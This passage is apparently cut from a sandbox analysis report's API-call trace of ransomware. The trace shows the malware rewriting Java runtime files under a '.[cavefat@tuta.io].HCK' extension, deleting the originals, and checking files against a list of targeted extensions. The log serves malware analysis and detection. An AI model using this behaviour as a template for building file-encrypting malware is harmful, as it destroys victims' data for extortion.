Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0225.990] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.990] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0225.991] GetLastError () returned 0x0 [0225.991] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xcea, lpOverlapped=0x0) returned 1 [0225.994] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xcf0, lpOverlapped=0x0) returned 1 [0225.995] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0225.995] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x100, lpOverlapped=0x0) returned 1 [0225.995] SetEndOfFile (hFile=0x3f0) returned 1 [0225.995] CloseHandle (hObject=0x3f0) returned 1 [0225.995] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.995] SetEndOfFile (hFile=0x454) returned 1 [0225.997] CloseHandle (hObject=0x454) returned 1 [0225.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.997] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.998] lstrlenW (lpString=".doc") returned 4 [0225.998] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString=".docx") returned 5 [0225.998] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.998] lstrlenW (lpString=".pdf") returned 4 [0225.998] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString=".xls") returned 4 [0225.998] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString=".xlsx") returned 5 [0225.998] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.998] lstrlenW (lpString=".ppt") returned 4 [0225.998] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.998] lstrlenW (lpString=".zip") returned 4 [0225.998] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString=".rar") returned 4 [0225.998] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString=".bz2") returned 4 [0225.998] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString=".7z") returned 3 [0225.998] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.998] lstrlenW (lpString=".dbf") returned 4 [0225.998] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.998] lstrlenW (lpString=".1cd") returned 4 [0225.998] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.999] lstrlenW (lpString=".jpg") returned 4 [0225.999] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.999] lstrlenW (lpString=".doc") returned 4 [0225.999] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString=".docx") returned 5 [0225.999] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.999] lstrlenW (lpString=".pdf") returned 4 [0225.999] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString=".xls") returned 4 [0225.999] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString=".xlsx") returned 5 [0225.999] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.999] lstrlenW (lpString=".ppt") returned 4 [0225.999] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.999] lstrlenW (lpString=".zip") returned 4 [0225.999] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString=".rar") returned 4 [0225.999] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString=".bz2") returned 4 [0225.999] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString=".7z") returned 3 [0225.999] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.999] lstrlenW (lpString=".dbf") returned 4 [0225.999] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.999] lstrlenW (lpString=".1cd") returned 4 [0225.999] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0225.999] lstrlenW (lpString=".jpg") returned 4 [0225.999] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.999] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0225.999] lstrlenW (lpString="messages_es.properties") returned 22 [0225.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.000] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3600) returned 1 [0226.000] CloseHandle (hObject=0x454) returned 1 [0226.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0226.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.001] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.001] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0226.001] GetLastError () returned 0x0 [0226.001] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xe10, lpOverlapped=0x0) returned 1 [0226.003] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe20, lpOverlapped=0x0) returned 1 [0226.004] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0226.004] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x100, lpOverlapped=0x0) returned 1 [0226.004] SetEndOfFile (hFile=0x3f0) returned 1 [0226.004] CloseHandle (hObject=0x3f0) returned 1 [0226.004] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.004] SetEndOfFile (hFile=0x454) returned 1 [0226.009] CloseHandle (hObject=0x454) returned 1 [0226.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.010] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0226.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.010] lstrlenW (lpString=".doc") returned 4 [0226.010] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.010] lstrlenW (lpString=".docx") returned 5 [0226.010] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.010] lstrlenW (lpString=".pdf") returned 4 [0226.010] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.010] lstrlenW (lpString=".xls") returned 4 [0226.010] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".xlsx") returned 5 [0226.011] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.011] lstrlenW (lpString=".ppt") returned 4 [0226.011] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.011] lstrlenW (lpString=".zip") returned 4 [0226.011] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".rar") returned 4 [0226.011] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".bz2") returned 4 [0226.011] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".7z") returned 3 [0226.011] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.011] lstrlenW (lpString=".dbf") returned 4 [0226.011] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.011] lstrlenW (lpString=".1cd") returned 4 [0226.011] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.011] lstrlenW (lpString=".jpg") returned 4 [0226.011] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.011] lstrlenW (lpString=".doc") returned 4 [0226.011] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".docx") returned 5 [0226.011] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.011] lstrlenW (lpString=".pdf") returned 4 [0226.011] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".xls") returned 4 [0226.011] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".xlsx") returned 5 [0226.011] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.011] lstrlenW (lpString=".ppt") returned 4 [0226.011] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.011] lstrlenW (lpString=".zip") returned 4 [0226.011] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".rar") returned 4 [0226.011] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.011] lstrlenW (lpString=".bz2") returned 4 [0226.011] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.012] lstrlenW (lpString=".7z") returned 3 [0226.012] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.012] lstrlenW (lpString=".dbf") returned 4 [0226.012] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.012] lstrlenW (lpString=".1cd") returned 4 [0226.012] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0226.012] lstrlenW (lpString=".jpg") returned 4 [0226.012] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.012] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.012] lstrlenW (lpString="messages_fr.properties") returned 22 [0226.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.013] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3409) returned 1 [0226.013] CloseHandle (hObject=0x454) returned 1 [0226.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0226.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.013] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.013] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.014] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0226.014] GetLastError () returned 0x0 [0226.014] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xd51, lpOverlapped=0x0) returned 1 [0226.016] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xd60, lpOverlapped=0x0) returned 1 [0226.016] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0226.016] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x100, lpOverlapped=0x0) returned 1 [0226.017] SetEndOfFile (hFile=0x3f0) returned 1 [0226.017] CloseHandle (hObject=0x3f0) returned 1 [0226.017] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.017] SetEndOfFile (hFile=0x454) returned 1 [0226.498] CloseHandle (hObject=0x454) returned 1 [0226.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.499] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0226.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.500] lstrlenW (lpString=".doc") returned 4 [0226.500] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.500] lstrlenW (lpString=".docx") returned 5 [0226.500] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.500] lstrlenW (lpString=".pdf") returned 4 [0226.500] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.500] lstrlenW (lpString=".xls") returned 4 [0226.500] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.500] lstrlenW (lpString=".xlsx") returned 5 [0226.500] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.500] lstrlenW (lpString=".ppt") returned 4 [0226.500] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.500] lstrlenW (lpString=".zip") returned 4 [0226.500] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.500] lstrlenW (lpString=".rar") returned 4 [0226.501] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".bz2") returned 4 [0226.501] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".7z") returned 3 [0226.501] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".dbf") returned 4 [0226.501] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".1cd") returned 4 [0226.501] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".jpg") returned 4 [0226.501] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".doc") returned 4 [0226.501] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".docx") returned 5 [0226.501] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.501] lstrlenW (lpString=".pdf") returned 4 [0226.501] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".xls") returned 4 [0226.501] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".xlsx") returned 5 [0226.501] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.501] lstrlenW (lpString=".ppt") returned 4 [0226.501] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".zip") returned 4 [0226.501] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".rar") returned 4 [0226.501] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".bz2") returned 4 [0226.501] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString=".7z") returned 3 [0226.501] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".dbf") returned 4 [0226.501] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".1cd") returned 4 [0226.501] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0226.501] lstrlenW (lpString=".jpg") returned 4 [0226.501] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.501] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.502] lstrlenW (lpString="jfxrt.jar") returned 9 [0226.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.502] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=18246297) returned 1 [0226.502] CloseHandle (hObject=0x454) returned 1 [0226.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0226.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0226.503] lstrlenW (lpString=".doc") returned 4 [0226.503] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.503] lstrlenW (lpString=".docx") returned 5 [0226.503] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0226.503] lstrlenW (lpString=".pdf") returned 4 [0226.503] 